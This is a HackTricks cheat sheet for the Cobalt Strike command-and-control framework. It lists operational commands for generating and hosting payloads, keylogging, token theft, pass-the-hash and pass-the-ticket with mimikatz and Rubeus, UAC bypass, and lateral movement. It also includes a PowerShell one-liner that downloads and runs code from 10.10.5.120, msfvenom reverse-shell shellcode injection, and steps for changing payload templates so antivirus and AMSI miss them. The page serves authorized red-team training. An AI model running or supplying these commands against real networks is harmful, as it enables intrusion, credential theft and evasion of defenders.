hacktricks/c2/cobalt-strike.md

# Cobalt Strike

### Listeners

### C2 Listeners

`Cobalt Strike -> Listeners -> Add/Edit` then you can select where to listen, which kind of beacon to use (http, dns, smb...) and more.

### Peer2Peer Listeners

The beacons of these listeners don't need to talk to the C2 directly, they can communicate to it through other beacons.

`Cobalt Strike -> Listeners -> Add/Edit` then you need to select the TCP or SMB beacons

* The **TCP beacon will set a listener in the port selected**. To connect to a TCP beacon use the command `connect <ip> <port>` from another beacon
* The **smb beacon will listen in a pipename with the selected name**. To connect to a SMB beacon you need to use the command `link [target] [pipe]`.

### Generate & Host payloads

#### Generate payloads in files

`Attacks -> Packages ->`&#x20;

* **`HTMLApplication`** for HTA files
* **`MS Office Macro`** for an office document with a macro
* **`Windows Executable`** for a .exe, .dll orr service .exe
* **`Windows Executable (S)`** for a **stageless** .exe, .dll or service .exe (better stageless than staged, less IoCs)

#### Generate & Host payloads

`Attacks -> Web Drive-by -> Scripted Web Delivery (S)` This will generate a script/executable to download the beacon from cobalt strike in formats such as: bitsadmin, exe, powershell and python

#### Host Payloads

If you already has the file you want to host in a web sever just go to `Attacks -> Web Drive-by -> Host File` and select the file to host and web server config.

### Beacon Options

<pre class="language-bash"><code class="lang-bash"># Execute local .NET binary
execute-assembly &#x3C;/path/to/executable.exe>

# Screenshots
printscreen    # Take a single screenshot via PrintScr method
screenshot     # Take a single screenshot
screenwatch    # Take periodic screenshots of desktop
## Go to View -> Screenshots to see them

# keylogger
keylogger [pid] [x86|x64]
## View > Keystrokes to see the keys pressed

# portscan
portscan [pid] [arch] [targets] [ports] [arp|icmp|none] [max connections] # Inject portscan action inside another process
portscan [targets] [ports] [arp|icmp|none] [max connections]

# Powershell
# Import Powershell module
powershell-import C:\path\to\PowerView.ps1
powershell &#x3C;just write powershell cmd here>

# User impersonation
## Token generation with creds
make_token [DOMAIN\user] [password] #Create token to impersonate a user in the network
ls \\computer_name\c$ # Try to use generated token to access C$ in a computer
rev2self # Stop using token generated with make_token
## The use of make_token generates event 4624: An account was successfully logged on.  This event is very common in a Windows domain, but can be narrowed down by filtering on the Logon Type.  As mentioned above, it uses LOGON32_LOGON_NEW_CREDENTIALS which is type 9.

# UAC Bypass
elevate svc-exe &#x3C;listener>
elevate uac-token-duplication &#x3C;listener>
runasadmin uac-cmstplua powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))"

## Steal token from pid
## Like make_token but stealing the token from a process
steal_token [pid] # Also, this is useful for network actions, not local actions
## From the API documentation we know that this logon type "allows the caller to clone its current token". This is why the Beacon output says Impersonated &#x3C;current_username> - it's impersonating our own cloned token.
ls \\computer_name\c$ # Try to use generated token to access C$ in a computer
rev2self # Stop using token from steal_token

## Launch process with nwe credentials
spawnas [domain\username] [password] [listener] #Do it from a directory with read access like: cd C:\
## Like make_token, this will generate Windows event 4624: An account was successfully logged on but with a logon type of 2 (LOGON32_LOGON_INTERACTIVE).  It will detail the calling user (TargetUserName) and the impersonated user (TargetOutboundUserName).

## Inject into process
inject [pid] [x64|x86] [listener]
## From an OpSec point of view: Don't perform cross-platform injection unless you really have to (e.g. x86 -> x64 or x64 -> x86).

## Pass the hash
## This modification process requires patching of LSASS memory which is a high-risk action, requires local admin privileges and not all that viable if Protected Process Light (PPL) is enabled.
pth [pid] [arch] [DOMAIN\user] [NTLM hash]
pth [DOMAIN\user] [NTLM hash]

## Pass the hash through mimikatz
mimikatz sekurlsa::pth /user:&#x3C;username> /domain:&#x3C;DOMAIN> /ntlm:&#x3C;NTLM HASH> /run:"powershell -w hidden"
## Withuot /run, mimikatz spawn a cmd.exe, if you are running as a user with Desktop, he will see the shell (if you are running as SYSTEM you are good to go)
steal_token &#x3C;pid> #Steal token from process created by mimikatz

## Pass the ticket
## Request a ticket
execute-assembly C:\path\Rubeus.exe asktgt /user:&#x3C;username> /domain:&#x3C;domain> /aes256:&#x3C;aes_keys> /nowrap /opsec
## Create a new logon session to use with the new ticket (to not overwrite the compromised one)
make_token &#x3C;domain>\&#x3C;username> DummyPass
## Write the ticket in the attacker machine from a poweshell session &#x26; load it
[System.IO.File]::WriteAllBytes("C:\Users\Administrator\Desktop\jkingTGT.kirbi", [System.Convert]::FromBase64String("[...ticket...]"))
kerberos_ticket_use C:\Users\Administrator\Desktop\jkingTGT.kirbi

## Pass the ticket from SYSTEM
## Generate a new process with the ticket
execute-assembly C:\path\Rubeus.exe asktgt /user:&#x3C;USERNAME> /domain:&#x3C;DOMAIN> /aes256:&#x3C;AES KEY> /nowrap /opsec /createnetonly:C:\Windows\System32\cmd.exe
## Steal the token from that process
steal_token &#x3C;pid>

## Extract ticket + Pass the ticket
### List tickets
execute-assembly C:\path\Rubeus.exe triage
### Dump insteresting ticket by luid
execute-assembly C:\path\Rubeus.exe dump /service:krbtgt /luid:&#x3C;luid> /nowrap
### Create new logon session, note luid and processid
execute-assembly C:\path\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe
### Insert ticket in generate logon session
execute-assembly C:\path\Rubeus.exe ptt /luid:0x92a8c /ticket:[...base64-ticket...]
### Finally, steal the token from that new process
steal_token &#x3C;pid>

# Lateral Movement
## If a token was created it will be used
jump [method] [target] [listener]
## Methods:
## psexec                    x86   Use a service to run a Service EXE artifact
## psexec64                  x64   Use a service to run a Service EXE artifact
## psexec_psh                x86   Use a service to run a PowerShell one-liner
## winrm                     x86   Run a PowerShell script via WinRM
## winrm64                   x64   Run a PowerShell script via WinRM

remote-exec [method] [target] [command]
## Methods:
<strong>## psexec                          Remote execute via Service Control Manager
</strong>## winrm                           Remote execute via WinRM (PowerShell)
## wmi                             Remote execute via WMI

## To execute a beacon with wmi (it isn't ins the jump command) just upload the beacon and execute it
beacon> upload C:\Payloads\beacon-smb.exe
beacon> remote-exec wmi srv-1 C:\Windows\beacon-smb.exe


# Pass session to Metasploit - Through listener
## On metaploit host
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_http
msf6 exploit(multi/handler) > set LHOST eth0
msf6 exploit(multi/handler) > set LPORT 8080
msf6 exploit(multi/handler) > exploit -j

## On cobalt: Listeners > Add and set the Payload to Foreign HTTP. Set the Host to 10.10.5.120, the Port to 8080 and click Save.
beacon> spawn metasploit
## You can only spawn x86 Meterpreter sessions with the foreign listener.

# Pass session to Metasploit - Through shellcode injection
## On metasploit host
msfvenom -p windows/x64/meterpreter_reverse_http LHOST=&#x3C;IP> LPORT=&#x3C;PORT> -f raw -o /tmp/msf.bin
## Run msfvenom and prepare the multi/handler listener

## Copy bin file to cobalt strike host
ps
shinject &#x3C;pid> x64 C:\Payloads\msf.bin #Inject metasploit shellcode in a x64 process

# Pass metasploit session to cobalt strike
## Fenerate stageless Beacon shellcode, go to Attacks > Packages > Windows Executable (S), select the desired listener, select Raw as the Output type and select Use x64 payload.
## Use post/windows/manage/shellcode_inject in metasploit to inject the generated cobalt srike shellcode


# Pivoting
## Open a socks proxy in the teamserver
beacon> socks 1080

# SSH connection
beacon> ssh 10.10.17.12:22 username password</code></pre>

## Avoiding AVs

### Artifact Kit

Usually in `/opt/cobaltstrike/artifact-kit` you can find the code and pre-compiled templates (in `/src-common`) of the payloads that cobalt strike is going to use to generate the binary beacons.

Using [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck) with the generated backdoor (or just with the compiled template) you can find what is making defender trigger. It's usually a string. Therefore you can just modify the code that is generating the backdoor so that string doesn't appear in the final binary.

After modifying the code just run `./build.sh` from the same directory and copy the `dist-pipe/` folder into the Windows client in `C:\Tools\cobaltstrike\ArtifactKit`.

```
pscp -r root@kali:/opt/cobaltstrike/artifact-kit/dist-pipe .
```

Don't forget to load the aggressive script `dist-pipe\artifact.cna` to indicate Cobalt Strike to use the resources from disk that we want and not the ones loaded.

### Resource Kit

The ResourceKit folder contains the templates for Cobalt Strike's script-based payloads including PowerShell, VBA and HTA.

Using [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck) with the templates you can find what is defender (AMSI in this case) not liking and modify it:

```
.\ThreatCheck.exe -e AMSI -f .\cobaltstrike\ResourceKit\template.x64.ps1
```

Modifying the detected lines one can generate a template that won't be caught.

Don't forget to load the aggressive script `ResourceKit\resources.cna` to indicate Cobalt Strike to luse the resources from disk that we want and not the ones loaded.







```bash
cd C:\Tools\neo4j\bin
neo4j.bat console
http://localhost:7474/ --> Change password
execute-assembly C:\Tools\SharpHound3\SharpHound3\bin\Debug\SharpHound.exe -c All -d DOMAIN.LOCAL



# Change powershell
C:\Tools\cobaltstrike\ResourceKit
template.x64.ps1
# Change $var_code -> $polop
# $x --> $ar
cobalt strike --> script manager --> Load --> Cargar C:\Tools\cobaltstrike\ResourceKit\resources.cna

#artifact kit
cd  C:\Tools\cobaltstrike\ArtifactKit
pscp -r root@kali:/opt/cobaltstrike/artifact-kit/dist-pipe .


```